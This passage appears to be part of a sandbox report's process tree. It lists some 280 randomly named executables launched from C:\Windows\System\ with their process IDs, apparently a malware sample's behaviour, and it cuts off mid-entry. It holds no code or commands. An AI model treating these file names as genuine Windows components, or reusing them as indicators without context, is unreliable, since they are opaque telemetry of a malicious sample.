- C:\Windows\System\YSVRsgx.exe
  C:\Windows\System\YSVRsgx.exe
  2⤵
  PID:5456
- C:\Windows\System\HWaBcDB.exe
  C:\Windows\System\HWaBcDB.exe
  2⤵
  PID:5604
- C:\Windows\System\XpqmAov.exe
  C:\Windows\System\XpqmAov.exe
  2⤵
  PID:5812
- C:\Windows\System\TlovZdK.exe
  C:\Windows\System\TlovZdK.exe
  2⤵
  PID:6008
- C:\Windows\System\xxeJZpU.exe
  C:\Windows\System\xxeJZpU.exe
  2⤵
  PID:5912
- C:\Windows\System\rnLRXyO.exe
  C:\Windows\System\rnLRXyO.exe
  2⤵
  PID:6088
- C:\Windows\System\MQTliRX.exe
  C:\Windows\System\MQTliRX.exe
  2⤵
  PID:5508
- C:\Windows\System\GtZYbBx.exe
  C:\Windows\System\GtZYbBx.exe
  2⤵
  PID:5832
- C:\Windows\System\SWPsBLd.exe
  C:\Windows\System\SWPsBLd.exe
  2⤵
  PID:6072
- C:\Windows\System\FZbAizn.exe
  C:\Windows\System\FZbAizn.exe
  2⤵
  PID:6160
- C:\Windows\System\bgqQovj.exe
  C:\Windows\System\bgqQovj.exe
  2⤵
  PID:6176
- C:\Windows\System\ClKSoiX.exe
  C:\Windows\System\ClKSoiX.exe
  2⤵
  PID:6192
- C:\Windows\System\GqClQcv.exe
  C:\Windows\System\GqClQcv.exe
  2⤵
  PID:6208
- C:\Windows\System\ZlcjwGy.exe
  C:\Windows\System\ZlcjwGy.exe
  2⤵
  PID:6224
- C:\Windows\System\cmFyeWb.exe
  C:\Windows\System\cmFyeWb.exe
  2⤵
  PID:6240
- C:\Windows\System\KeMTBKe.exe
  C:\Windows\System\KeMTBKe.exe
  2⤵
  PID:6256
- C:\Windows\System\iruvTWc.exe
  C:\Windows\System\iruvTWc.exe
  2⤵
  PID:6272
- C:\Windows\System\sjPAeNy.exe
  C:\Windows\System\sjPAeNy.exe
  2⤵
  PID:6288
- C:\Windows\System\MhpFNaj.exe
  C:\Windows\System\MhpFNaj.exe
  2⤵
  PID:6304
- C:\Windows\System\WfblSZN.exe
  C:\Windows\System\WfblSZN.exe
  2⤵
  PID:6320
- C:\Windows\System\SciDylV.exe
  C:\Windows\System\SciDylV.exe
  2⤵
  PID:6340
- C:\Windows\System\xmbrvYw.exe
  C:\Windows\System\xmbrvYw.exe
  2⤵
  PID:6356
- C:\Windows\System\LBlPWDd.exe
  C:\Windows\System\LBlPWDd.exe
  2⤵
  PID:6372
- C:\Windows\System\mAMPBMN.exe
  C:\Windows\System\mAMPBMN.exe
  2⤵
  PID:6388
- C:\Windows\System\DQStawF.exe
  C:\Windows\System\DQStawF.exe
  2⤵
  PID:6404
- C:\Windows\System\hnjCUvA.exe
  C:\Windows\System\hnjCUvA.exe
  2⤵
  PID:6424
- C:\Windows\System\kPCyyNi.exe
  C:\Windows\System\kPCyyNi.exe
  2⤵
  PID:6440
- C:\Windows\System\ejlAquG.exe
  C:\Windows\System\ejlAquG.exe
  2⤵
  PID:6456
- C:\Windows\System\OGbSORM.exe
  C:\Windows\System\OGbSORM.exe
  2⤵
  PID:6472
- C:\Windows\System\uQWaDDa.exe
  C:\Windows\System\uQWaDDa.exe
  2⤵
  PID:6492
- C:\Windows\System\RYsBeeX.exe
  C:\Windows\System\RYsBeeX.exe
  2⤵
  PID:6520
- C:\Windows\System\JkoxrNu.exe
  C:\Windows\System\JkoxrNu.exe
  2⤵
  PID:6536
- C:\Windows\System\qjXXjxz.exe
  C:\Windows\System\qjXXjxz.exe
  2⤵
  PID:6552
- C:\Windows\System\PqwpngA.exe
  C:\Windows\System\PqwpngA.exe
  2⤵
  PID:6568
- C:\Windows\System\fbjiKwX.exe
  C:\Windows\System\fbjiKwX.exe
  2⤵
  PID:6584
- C:\Windows\System\HocOouh.exe
  C:\Windows\System\HocOouh.exe
  2⤵
  PID:6600
- C:\Windows\System\nuscNVK.exe
  C:\Windows\System\nuscNVK.exe
  2⤵
  PID:6616
- C:\Windows\System\dEXHufg.exe
  C:\Windows\System\dEXHufg.exe
  2⤵
  PID:6636
- C:\Windows\System\CUqPoOk.exe
  C:\Windows\System\CUqPoOk.exe
  2⤵
  PID:6652
- C:\Windows\System\tGaYmfJ.exe
  C:\Windows\System\tGaYmfJ.exe
  2⤵
  PID:6668
- C:\Windows\System\PcZtExA.exe
  C:\Windows\System\PcZtExA.exe
  2⤵
  PID:6688
- C:\Windows\System\aIhsoJZ.exe
  C:\Windows\System\aIhsoJZ.exe
  2⤵
  PID:6704
- C:\Windows\System\GmyLkXE.exe
  C:\Windows\System\GmyLkXE.exe
  2⤵
  PID:6720
- C:\Windows\System\PLevjGG.exe
  C:\Windows\System\PLevjGG.exe
  2⤵
  PID:6736
- C:\Windows\System\jQQsFTo.exe
  C:\Windows\System\jQQsFTo.exe
  2⤵
  PID:6756
- C:\Windows\System\uyKMGxL.exe
  C:\Windows\System\uyKMGxL.exe
  2⤵
  PID:6772
- C:\Windows\System\oAyLMfU.exe
  C:\Windows\System\oAyLMfU.exe
  2⤵
  PID:6788
- C:\Windows\System\qKtOeUm.exe
  C:\Windows\System\qKtOeUm.exe
  2⤵
  PID:6804
- C:\Windows\System\JZpggoQ.exe
  C:\Windows\System\JZpggoQ.exe
  2⤵
  PID:6820
- C:\Windows\System\uVohBLv.exe
  C:\Windows\System\uVohBLv.exe
  2⤵
  PID:6840
- C:\Windows\System\bDobBJr.exe
  C:\Windows\System\bDobBJr.exe
  2⤵
  PID:6856
- C:\Windows\System\ZvWmljx.exe
  C:\Windows\System\ZvWmljx.exe
  2⤵
  PID:6872
- C:\Windows\System\wrJMlnP.exe
  C:\Windows\System\wrJMlnP.exe
  2⤵
  PID:6892
- C:\Windows\System\ojujRwc.exe
  C:\Windows\System\ojujRwc.exe
  2⤵
  PID:6908
- C:\Windows\System\PXjqPwE.exe
  C:\Windows\System\PXjqPwE.exe
  2⤵
  PID:6924
- C:\Windows\System\ujHRprC.exe
  C:\Windows\System\ujHRprC.exe
  2⤵
  PID:6940
- C:\Windows\System\frPEMaw.exe
  C:\Windows\System\frPEMaw.exe
  2⤵
  PID:6960
- C:\Windows\System\EWtxdEh.exe
  C:\Windows\System\EWtxdEh.exe
  2⤵
  PID:6976
- C:\Windows\System\NMhNSHY.exe
  C:\Windows\System\NMhNSHY.exe
  2⤵
  PID:6996
- C:\Windows\System\FMPFlMW.exe
  C:\Windows\System\FMPFlMW.exe
  2⤵
  PID:7012
- C:\Windows\System\tURFqaY.exe
  C:\Windows\System\tURFqaY.exe
  2⤵
  PID:7028
- C:\Windows\System\qtBVHmr.exe
  C:\Windows\System\qtBVHmr.exe
  2⤵
  PID:7044
- C:\Windows\System\eQXvYjp.exe
  C:\Windows\System\eQXvYjp.exe
  2⤵
  PID:7064
- C:\Windows\System\PdytTkU.exe
  C:\Windows\System\PdytTkU.exe
  2⤵
  PID:7080
- C:\Windows\System\WVeNAKN.exe
  C:\Windows\System\WVeNAKN.exe
  2⤵
  PID:7096
- C:\Windows\System\pLrcxoh.exe
  C:\Windows\System\pLrcxoh.exe
  2⤵
  PID:7120
- C:\Windows\System\FXFoOsx.exe
  C:\Windows\System\FXFoOsx.exe
  2⤵
  PID:7160
- C:\Windows\System\VJSppQi.exe
  C:\Windows\System\VJSppQi.exe
  2⤵
  PID:6184
- C:\Windows\System\rHvaTTB.exe
  C:\Windows\System\rHvaTTB.exe
  2⤵
  PID:6248
- C:\Windows\System\NaXZCDb.exe
  C:\Windows\System\NaXZCDb.exe
  2⤵
  PID:6312
- C:\Windows\System\OMyLrVJ.exe
  C:\Windows\System\OMyLrVJ.exe
  2⤵
  PID:6380
- C:\Windows\System\UqzxFVe.exe
  C:\Windows\System\UqzxFVe.exe
  2⤵
  PID:6420
- C:\Windows\System\lerFQZD.exe
  C:\Windows\System\lerFQZD.exe
  2⤵
  PID:6488
- C:\Windows\System\FjxydJu.exe
  C:\Windows\System\FjxydJu.exe
  2⤵
  PID:6532
- C:\Windows\System\rYNvhob.exe
  C:\Windows\System\rYNvhob.exe
  2⤵
  PID:5544
- C:\Windows\System\omGQkxG.exe
  C:\Windows\System\omGQkxG.exe
  2⤵
  PID:6168
- C:\Windows\System\UBSUWDV.exe
  C:\Windows\System\UBSUWDV.exe
  2⤵
  PID:5464
- C:\Windows\System\qVNSChC.exe
  C:\Windows\System\qVNSChC.exe
  2⤵
  PID:6232
- C:\Windows\System\fLhLUCb.exe
  C:\Windows\System\fLhLUCb.exe
  2⤵
  PID:7104
- C:\Windows\System\tTWWwaS.exe
  C:\Windows\System\tTWWwaS.exe
  2⤵
  PID:7036
- C:\Windows\System\vCmuAPf.exe
  C:\Windows\System\vCmuAPf.exe
  2⤵
  PID:6968
- C:\Windows\System\YsNajFr.exe
  C:\Windows\System\YsNajFr.exe
  2⤵
  PID:6904
- C:\Windows\System\paSRKsM.exe
  C:\Windows\System\paSRKsM.exe
  2⤵
  PID:6836
- C:\Windows\System\MctWEnB.exe
  C:\Windows\System\MctWEnB.exe
  2⤵
  PID:6768
- C:\Windows\System\tIPFlUT.exe
  C:\Windows\System\tIPFlUT.exe
  2⤵
  PID:6696
- C:\Windows\System\pfQEsRr.exe
  C:\Windows\System\pfQEsRr.exe
  2⤵
  PID:6832
- C:\Windows\System\XWBdniZ.exe
  C:\Windows\System\XWBdniZ.exe
  2⤵
  PID:6400
- C:\Windows\System\YDRFHRR.exe
  C:\Windows\System\YDRFHRR.exe
  2⤵
  PID:6132
- C:\Windows\System\pDNsQVZ.exe
  C:\Windows\System\pDNsQVZ.exe
  2⤵
  PID:6296
- C:\Windows\System\Pkrwvir.exe
  C:\Windows\System\Pkrwvir.exe
  2⤵
  PID:6752
- C:\Windows\System\EXkbLJG.exe
  C:\Windows\System\EXkbLJG.exe
  2⤵
  PID:6784
- C:\Windows\System\zxEYLop.exe
  C:\Windows\System\zxEYLop.exe
  2⤵
  PID:7112
- C:\Windows\System\fXByQbG.exe
  C:\Windows\System\fXByQbG.exe
  2⤵
  PID:6284
- C:\Windows\System\ifUSwox.exe
  C:\Windows\System\ifUSwox.exe
  2⤵
  PID:5488
- C:\Windows\System\HPSCEeX.exe
  C:\Windows\System\HPSCEeX.exe
  2⤵
  PID:6628
- C:\Windows\System\mKUrBIb.exe
  C:\Windows\System\mKUrBIb.exe
  2⤵
  PID:7040
- C:\Windows\System\WIxXSDE.exe
  C:\Windows\System\WIxXSDE.exe
  2⤵
  PID:6564
- C:\Windows\System\jXeIcCK.exe
  C:\Windows\System\jXeIcCK.exe
  2⤵
  PID:6716
- C:\Windows\System\VCMKBBB.exe
  C:\Windows\System\VCMKBBB.exe
  2⤵
  PID:6884
- C:\Windows\System\kphdhGs.exe
  C:\Windows\System\kphdhGs.exe
  2⤵
  PID:6952
- C:\Windows\System\UHuRzLu.exe
  C:\Windows\System\UHuRzLu.exe
  2⤵
  PID:7052
- C:\Windows\System\ZyPGTuf.exe
  C:\Windows\System\ZyPGTuf.exe
  2⤵
  PID:7088
- C:\Windows\System\yrGiNSY.exe
  C:\Windows\System\yrGiNSY.exe
  2⤵
  PID:6464
- C:\Windows\System\gxIEilT.exe
  C:\Windows\System\gxIEilT.exe
  2⤵
  PID:7140
- C:\Windows\System\HMVXsdt.exe
  C:\Windows\System\HMVXsdt.exe
  2⤵
  PID:6220
- C:\Windows\System\iQvARFh.exe
  C:\Windows\System\iQvARFh.exe
  2⤵
  PID:6352
- C:\Windows\System\sVaNQXd.exe
  C:\Windows\System\sVaNQXd.exe
  2⤵
  PID:5176
- C:\Windows\System\drWkXoH.exe
  C:\Windows\System\drWkXoH.exe
  2⤵
  PID:7004
- C:\Windows\System\llfSscH.exe
  C:\Windows\System\llfSscH.exe
  2⤵
  PID:6700
- C:\Windows\System\TepogKP.exe
  C:\Windows\System\TepogKP.exe
  2⤵
  PID:6684
- C:\Windows\System\TCVDsRd.exe
  C:\Windows\System\TCVDsRd.exe
  2⤵
  PID:6416
- C:\Windows\System\nTQtdIk.exe
  C:\Windows\System\nTQtdIk.exe
  2⤵
  PID:6336
- C:\Windows\System\cyeSbYl.exe
  C:\Windows\System\cyeSbYl.exe
  2⤵
  PID:6152
- C:\Windows\System\BGwHgbX.exe
  C:\Windows\System\BGwHgbX.exe
  2⤵
  PID:6468
- C:\Windows\System\DxUQcFD.exe
  C:\Windows\System\DxUQcFD.exe
  2⤵
  PID:6512
- C:\Windows\System\PNnJPXY.exe
  C:\Windows\System\PNnJPXY.exe
  2⤵
  PID:6880
- C:\Windows\System\dTvWoOj.exe
  C:\Windows\System\dTvWoOj.exe
  2⤵
  PID:6984
- C:\Windows\System\FHoixAU.exe
  C:\Windows\System\FHoixAU.exe
  2⤵
  PID:6368
- C:\Windows\System\CvNUCcG.exe
  C:\Windows\System\CvNUCcG.exe
  2⤵
  PID:6712
- C:\Windows\System\cYAMRWj.exe
  C:\Windows\System\cYAMRWj.exe
  2⤵
  PID:6920
- C:\Windows\System\OHJQPMg.exe
  C:\Windows\System\OHJQPMg.exe
  2⤵
  PID:6800
- C:\Windows\System\fMRpSxU.exe
  C:\Windows\System\fMRpSxU.exe
  2⤵
  PID:6796
- C:\Windows\System\HyHdKux.exe
  C:\Windows\System\HyHdKux.exe
  2⤵
  PID:6452
- C:\Windows\System\YUSZdFO.exe
  C:\Windows\System\YUSZdFO.exe
  2⤵
  PID:7244
- C:\Windows\System\HuTThDi.exe
  C:\Windows\System\HuTThDi.exe
  2⤵
  PID:7260
- C:\Windows\System\tAiGRJp.exe
  C:\Windows\System\tAiGRJp.exe
  2⤵
  PID:7276
- C:\Windows\System\EUdmwOV.exe
  C:\Windows\System\EUdmwOV.exe
  2⤵
  PID:7292
- C:\Windows\System\jLzCoXs.exe
  C:\Windows\System\jLzCoXs.exe
  2⤵
  PID:7312
- C:\Windows\System\DZkQinz.exe
  C:\Windows\System\DZkQinz.exe
  2⤵
  PID:7328
- C:\Windows\System\LOSrGON.exe
  C:\Windows\System\LOSrGON.exe
  2⤵
  PID:7344
- C:\Windows\System\iKwQuzK.exe
  C:\Windows\System\iKwQuzK.exe
  2⤵
  PID:7360
- C:\Windows\System\ayhNMxn.exe
  C:\Windows\System\ayhNMxn.exe
  2⤵
  PID:7376
- C:\Windows\System\ODyPpJv.exe
  C:\Windows\System\ODyPpJv.exe
  2⤵
  PID:7392
- C:\Windows\System\uLsTuqn.exe
  C:\Windows\System\uLsTuqn.exe
  2⤵
  PID:7408
- C:\Windows\System\FSTGYCY.exe
  C:\Windows\System\FSTGYCY.exe
  2⤵
  PID:7424
- C:\Windows\System\cjoDovY.exe
  C:\Windows\System\cjoDovY.exe
  2⤵
  PID:7440
- C:\Windows\System\ljJEpjn.exe
  C:\Windows\System\ljJEpjn.exe
  2⤵
  PID:7456
- C:\Windows\System\ZFGVUxG.exe
  C:\Windows\System\ZFGVUxG.exe
  2⤵
  PID:7472
- C:\Windows\System\jBQQfPO.exe
  C:\Windows\System\jBQQfPO.exe
  2⤵
  PID:7488
- C:\Windows\System\AwaIbvQ.exe
  C:\Windows\System\AwaIbvQ.exe
  2⤵
  PID:7504
- C:\Windows\System\vHhxnax.exe
  C:\Windows\System\vHhxnax.exe
  2⤵
  PID:7520
- C:\Windows\System\KtarpEl.exe
  C:\Windows\System\KtarpEl.exe
  2⤵
  PID:7536
- C:\Windows\System\iyzlGUZ.exe
  C:\Windows\System\iyzlGUZ.exe
  2⤵
  PID:7552
- C:\Windows\System\ZcCwCXy.exe
  C:\Windows\System\ZcCwCXy.exe
  2⤵
  PID:7568
- C:\Windows\System\AOzDuLZ.exe
  C:\Windows\System\AOzDuLZ.exe
  2⤵
  PID:7584
- C:\Windows\System\xxOImeS.exe
  C:\Windows\System\xxOImeS.exe
  2⤵
  PID:7600
- C:\Windows\System\JdQrmQP.exe
  C:\Windows\System\JdQrmQP.exe
  2⤵
  PID:7616
- C:\Windows\System\WzEGTRv.exe
  C:\Windows\System\WzEGTRv.exe
  2⤵
  PID:7632
- C:\Windows\System\ZwOTfQB.exe
  C:\Windows\System\ZwOTfQB.exe
  2⤵
  PID:7652
- C:\Windows\System\IKaGeJV.exe
  C:\Windows\System\IKaGeJV.exe
  2⤵
  PID:7668
- C:\Windows\System\YBALGmi.exe
  C:\Windows\System\YBALGmi.exe
  2⤵
  PID:7684
- C:\Windows\System\XtReKCz.exe
  C:\Windows\System\XtReKCz.exe
  2⤵
  PID:7700
- C:\Windows\System\YgpsEop.exe
  C:\Windows\System\YgpsEop.exe
  2⤵
  PID:7716
- C:\Windows\System\HMfHSZS.exe
  C:\Windows\System\HMfHSZS.exe
  2⤵
  PID:7732
- C:\Windows\System\rbjymDE.exe
  C:\Windows\System\rbjymDE.exe
  2⤵
  PID:7748
- C:\Windows\System\QPDniYG.exe
  C:\Windows\System\QPDniYG.exe
  2⤵
  PID:7764
- C:\Windows\System\NnKytbF.exe
  C:\Windows\System\NnKytbF.exe
  2⤵
  PID:7780
- C:\Windows\System\ZyjFyJu.exe
  C:\Windows\System\ZyjFyJu.exe
  2⤵
  PID:7796
- C:\Windows\System\WoPcKok.exe
  C:\Windows\System\WoPcKok.exe
  2⤵
  PID:7812
- C:\Windows\System\tzWEaUF.exe
  C:\Windows\System\tzWEaUF.exe
  2⤵
  PID:7828
- C:\Windows\System\NbnADYD.exe
  C:\Windows\System\NbnADYD.exe
  2⤵
  PID:7844
- C:\Windows\System\VGiUBsN.exe
  C:\Windows\System\VGiUBsN.exe
  2⤵
  PID:7860
- C:\Windows\System\ipGLWNp.exe
  C:\Windows\System\ipGLWNp.exe
  2⤵
  PID:7876
- C:\Windows\System\NmyOQVF.exe
  C:\Windows\System\NmyOQVF.exe
  2⤵
  PID:7896
- C:\Windows\System\ujTrhmK.exe
  C:\Windows\System\ujTrhmK.exe
  2⤵
  PID:7912
- C:\Windows\System\wZADulp.exe
  C:\Windows\System\wZADulp.exe
  2⤵
  PID:7928
- C:\Windows\System\sBBRxAN.exe
  C:\Windows\System\sBBRxAN.exe
  2⤵
  PID:7944
- C:\Windows\System\lDczyFy.exe
  C:\Windows\System\lDczyFy.exe
  2⤵
  PID:7960
- C:\Windows\System\magnmEN.exe
  C:\Windows\System\magnmEN.exe
  2⤵
  PID:7976
- C:\Windows\System\IIuYqbW.exe
  C:\Windows\System\IIuYqbW.exe
  2⤵
  PID:7992
- C:\Windows\System\ZAZVKyC.exe
  C:\Windows\System\ZAZVKyC.exe
  2⤵
  PID:8008
- C:\Windows\System\MrafEBx.exe
  C:\Windows\System\MrafEBx.exe
  2⤵
  PID:8024
- C:\Windows\System\VoFUIRT.exe
  C:\Windows\System\VoFUIRT.exe
  2⤵
  PID:8040
- C:\Windows\System\PDQmdOd.exe
  C:\Windows\System\PDQmdOd.exe
  2⤵
  PID:8056
- C:\Windows\System\QgWKMtz.exe
  C:\Windows\System\QgWKMtz.exe
  2⤵
  PID:8072
- C:\Windows\System\SjyUXKa.exe
  C:\Windows\System\SjyUXKa.exe
  2⤵
  PID:8092
- C:\Windows\System\TNbeRvg.exe
  C:\Windows\System\TNbeRvg.exe
  2⤵
  PID:8108
- C:\Windows\System\JSSuwNY.exe
  C:\Windows\System\JSSuwNY.exe
  2⤵
  PID:8124
- C:\Windows\System\PpsTMrq.exe
  C:\Windows\System\PpsTMrq.exe
  2⤵
  PID:8140
- C:\Windows\System\tgYKcWq.exe
  C:\Windows\System\tgYKcWq.exe
  2⤵
  PID:8156
- C:\Windows\System\oybJbaj.exe
  C:\Windows\System\oybJbaj.exe
  2⤵
  PID:8172
- C:\Windows\System\GNCAbMA.exe
  C:\Windows\System\GNCAbMA.exe
  2⤵
  PID:8188
- C:\Windows\System\uWWaCNx.exe
  C:\Windows\System\uWWaCNx.exe
  2⤵
  PID:6748
- C:\Windows\System\kTjbRSd.exe
  C:\Windows\System\kTjbRSd.exe
  2⤵
  PID:6680
- C:\Windows\System\UkDxQxb.exe
  C:\Windows\System\UkDxQxb.exe
  2⤵
  PID:7148
- C:\Windows\System\cmEOTDE.exe
  C:\Windows\System\cmEOTDE.exe
  2⤵
  PID:6932
- C:\Windows\System\UCCYIgI.exe
  C:\Windows\System\UCCYIgI.exe
  2⤵
  PID:5608
- C:\Windows\System\DJuHqVc.exe
  C:\Windows\System\DJuHqVc.exe
  2⤵
  PID:7132
- C:\Windows\System\WorBYZB.exe
  C:\Windows\System\WorBYZB.exe
  2⤵
  PID:6848
- C:\Windows\System\QZsmcPW.exe
  C:\Windows\System\QZsmcPW.exe
  2⤵
  PID:6580
- C:\Windows\System\QbhOMiq.exe
  C:\Windows\System\QbhOMiq.exe
  2⤵
  PID:7172
- C:\Windows\System\gMSAOIY.exe
  C:\Windows\System\gMSAOIY.exe
  2⤵
  PID:7196
- C:\Windows\System\MOucufk.exe
  C:\Windows\System\MOucufk.exe
  2⤵
  PID:7216
- C:\Windows\System\QlDeSVy.exe
  C:\Windows\System\QlDeSVy.exe
  2⤵
  PID:7232
- C:\Windows\System\fLxPEBV.exe
  C:\Windows\System\fLxPEBV.exe
  2⤵
  PID:7272
- C:\Windows\System\XJwEgKg.exe
  C:\Windows\System\XJwEgKg.exe
  2⤵
  PID:7336
- C:\Windows\System\zbAEGxK.exe
  C:\Windows\System\zbAEGxK.exe
  2⤵
  PID:7400
- C:\Windows\System\PMRPIZa.exe
  C:\Windows\System\PMRPIZa.exe
  2⤵
  PID:7464
- C:\Windows\System\FQLBRIP.exe
  C:\Windows\System\FQLBRIP.exe
  2⤵
  PID:7528
- C:\Windows\System\WfMkelb.exe
  C:\Windows\System\WfMkelb.exe
  2⤵
  PID:7592
- C:\Windows\System\seTNnUy.exe
  C:\Windows\System\seTNnUy.exe
  2⤵
  PID:7664
- C:\Windows\System\YWpPPFr.exe
  C:\Windows\System\YWpPPFr.exe
  2⤵
  PID:7728
- C:\Windows\System\KapbMyA.exe
  C:\Windows\System\KapbMyA.exe
  2⤵
  PID:7792
- C:\Windows\System\VoLiTfw.exe
  C:\Windows\System\VoLiTfw.exe
  2⤵
  PID:7856
- C:\Windows\System\jlCNIql.exe
  C:\Windows\System\jlCNIql.exe
  2⤵
  PID:7256
- C:\Windows\System\dzzuORi.exe
  C:\Windows\System\dzzuORi.exe
  2⤵
  PID:7772
- C:\Windows\System\kxUSAyv.exe
  C:\Windows\System\kxUSAyv.exe
  2⤵
  PID:7384
- C:\Windows\System\mwxvopG.exe
  C:\Windows\System\mwxvopG.exe
  2⤵
  PID:7648
- C:\Windows\System\BzpqTaW.exe
  C:\Windows\System\BzpqTaW.exe
  2⤵
  PID:7744
- C:\Windows\System\YpdXydB.exe
  C:\Windows\System\YpdXydB.exe
  2⤵
  PID:7836
- C:\Windows\System\NsfDnEF.exe
  C:\Windows\System\NsfDnEF.exe
  2⤵
  PID:7904
- C:\Windows\System\MiMAVNs.exe
  C:\Windows\System\MiMAVNs.exe
  2⤵
  PID:7968
- C:\Windows\System\WOrqGdU.exe
  C:\Windows\System\WOrqGdU.exe
  2⤵
  PID:7924
- C:\Windows\System\neNHzFh.exe
  C:\Windows\System\neNHzFh.exe
  2⤵
  PID:7988
- C:\Windows\System\TQqNCbz.exe
  C:\Windows\System\TQqNCbz.exe
  2⤵
  PID:8052
- C:\Windows\System\QSvwEZh.exe
  C:\Windows\System\QSvwEZh.exe
  2⤵
  PID:8120
- C:\Windows\System\GWhnSfm.exe
  C:\Windows\System\GWhnSfm.exe
  2⤵
  PID:8184
- C:\Windows\System\JKRyEOe.exe
  C:\Windows\System\JKRyEOe.exe
  2⤵
  PID:8000
- C:\Windows\System\maeYTRt.exe
  C:\Windows\System\maeYTRt.exe
  2⤵
  PID:6348
- C:\Windows\System\AeLgGsd.exe
  C:\Windows\System\AeLgGsd.exe
  2⤵
  PID:8004
- C:\Windows\System\OmiPCMU.exe
  C:\Windows\System\OmiPCMU.exe
  2⤵
  PID:7824
- C:\Windows\System\jbPuTwC.exe
  C:\Windows\System\jbPuTwC.exe
  2⤵
  PID:7560
- C:\Windows\System\vpLpHrN.exe
  C:\Windows\System\vpLpHrN.exe
  2⤵
  PID:7416
- C:\Windows\System\xwHyvWk.exe
  C:\Windows\System\xwHyvWk.exe
  2⤵
  PID:8036
- C:\Windows\System\buFMCjS.exe
  C:\Windows\System\buFMCjS.exe
  2⤵
  PID:8104
- C:\Windows\System\sdNLFQk.exe
  C:\Windows\System\sdNLFQk.exe
  2⤵
  PID:6576
- C:\Windows\System\PWNbRBf.exe
  C:\Windows\System\PWNbRBf.exe
  2⤵
  PID:7852
- C:\Windows\System\CJIBJjx.exe
  C:\Windows\System\CJIBJjx.exe
  2⤵
  PID:7208
- C:\Windows\System\ibCkaav.exe
  C:\Windows\System\ibCkaav.exe
  2⤵
  PID:7372
- C:\Windows\System\rpeeDsd.exe
  C:\Windows\System\rpeeDsd.exe
  2⤵
  PID:7628
- C:\Windows\System\cjOQyeW.exe
  C:\Windows\System\cjOQyeW.exe
  2⤵
  PID:7252
- C:\Windows\System\zFnrqLZ.exe
  C:\Windows\System\zFnrqLZ.exe
  2⤵
  PID:7480
- C:\Windows\System\xVNJVmb.exe
  C:\Windows\System\xVNJVmb.exe
  2⤵
  PID:6544
- C:\Windows\System\vKNZCXX.exe
  C:\Windows\System\vKNZCXX.exe
  2⤵
  PID:7580
- C:\Windows\System\eQanhUc.exe
  C:\Windows\System\eQanhUc.exe
  2⤵
  PID:7676
- C:\Windows\System\GBfILVr.exe
  C:\Windows\System\GBfILVr.exe
  2⤵
  PID:7808
- C:\Windows\System\anyGagn.exe
  C:\Windows\System\anyGagn.exe
  2⤵
  PID:7984
- C:\Windows\System\exQzKOq.exe
  C:\Windows\System\exQzKOq.exe
  2⤵
  PID:7892
- C:\Windows\System\iwSFzqJ.exe
  C:\Windows\System\iwSFzqJ.exe
  2⤵
  PID:8152
- C:\Windows\System\eCHeZEd.exe
  C:\Windows\System\eCHeZEd.exe
  2⤵
  PID:8116
- C:\Windows\System\GNkkQyG.exe
  C:\Windows\System\GNkkQyG.exe
  2⤵
  PID:7972
- C:\Windows\System\DlbwLkZ.exe
  C:\Windows\System\DlbwLkZ.exe
  2⤵
  PID:6864
- C:\Windows\System\zdZYHUb.exe
  C:\Windows\System\zdZYHUb.exe
  2⤵
  PID:7220
- C:\Windows\System\aBaAGci.exe
  C:\Windows\System\aBaAGci.exe
  2⤵
  PID:8168
- C:\Windows\System\ogaHtrZ.exe
  C:\Windows\System\ogaHtrZ.exe
  2⤵
  PID:7188
- C:\Windows\System\PrRsSnl.exe
  C:\Windows\System\PrRsSnl.exe
  2⤵
  PID:7432
- C:\Windows\System\sApwdPB.exe
  C:\Windows\System\sApwdPB.exe
  2⤵
  PID:7324
- C:\Windows\System\yadLxvn.exe
  C:\Windows\System\yadLxvn.exe
  2⤵
  PID:7240
- C:\Windows\System\SiJJCZc.exe
  C:\Windows\System\SiJJCZc.exe
  2⤵
  PID:7760
- C:\Windows\System\rmRCrvY.exe
  C:\Windows\System\rmRCrvY.exe
  2⤵
  PID:7640
- C:\Windows\System\BnuILJX.exe
  C:\Windows\System\BnuILJX.exe
  2⤵
  PID:8048
- C:\Windows\System\BHqKxwd.exe
  C:\Windows\System\BHqKxwd.exe
  2⤵
  PID:7624
- C:\Windows\System\rVyjLpR.exe
  C:\Windows\System\rVyjLpR.exe
  2⤵
  PID:8136
- C:\Windows\System\uCyAJYB.exe
  C:\Windows\System\uCyAJYB.exe
  2⤵
  PID:8164
- C:\Windows\System\qVIRAgU.exe
  C:\Windows\System\qVIRAgU.exe
  2⤵
  PID:6676
- C:\Windows\System\XANmXet.exe
  C:\Windows\System\XANmXet.exe
  2⤵
  PID:6504
- C:\Windows\System\UsBfbTE.exe
  C:\Windows\System\UsBfbTE.exe
  2⤵
  PID:7204
- C:\Windows\System\GrQuCWH.exe
  C:\Windows\System\GrQuCWH.exe
  2⤵
  PID:8208
- C:\Windows\System\QYSoQuv.exe
  C:\Windows\System\QYSoQuv.exe
  2⤵
  PID:8224
- C:\Windows\System\TUkAJOj.exe
  C:\Windows\System\TUkAJOj.exe
  2⤵
  PID:8240
- C:\Windows\System\uOtKrZi.exe
  C:\Windows\System\uOtKrZi.exe
  2⤵
  PID:8256
- C:\Windows\System\HbTBQik.exe
  C:\Windows\System\HbTBQik.exe
  2⤵
  PID:8272
- C:\Windows\System\TtWcJvH.exe
  C:\Windows\System\TtWcJvH.exe
  2⤵
  PID:8288
- C:\Windows\System\tBOSXFX.exe
  C:\Windows\System\tBOSXFX.exe
  2⤵
  PID:8304
- C:\Windows\System\qlCEXkk.exe
  C:\Windows\System\qlCEXkk.exe
  2⤵
  PID:8324
- C:\Windows\System\kTvehnI.exe
  C:\Windows\System\kTvehnI.exe
  2⤵
  PID:8340
- C:\Windows\System\hdNIdYg.exe
  C:\Windows\System\hdNIdYg.exe
  2⤵
  PID:8356
- C:\Windows\System\tkEmgTu.exe
  C:\Windows\System\tkEmgTu.exe
  2⤵
  PID:8376
- C:\Windows\System\eZZtdwy.exe
  C:\Windows\System\eZZtdwy.exe
  2⤵
  PID:8392
- C:\Windows\System\txigBiO.exe
  C:\Windows\System\txigBiO.exe
  2⤵
  PID:8408
- C:\Windows\System\XTbPlqy.exe
  C:\Windows\System\XTbPlqy.exe
  2⤵
  PID:8424
- C:\Windows\System\VyDKCgo.exe
  C:\Windows\System\VyDKCgo.exe
  2⤵
  PID:8444
- C:\Windows\System\SujjcMJ.exe
  C:\Windows\System\SujjcMJ.exe
  2⤵
  PID:8460
- C:\Windows\System\dgbJlIt.exe
  C:\Windows\System\dgbJlIt.exe
  2⤵
  PID:8476
- C:\Windows\System\dBKZajR.exe
  C:\Windows\System\dBKZajR.exe
  2⤵
  PID:8492
- C:\Windows\System\lLMgMtQ.exe
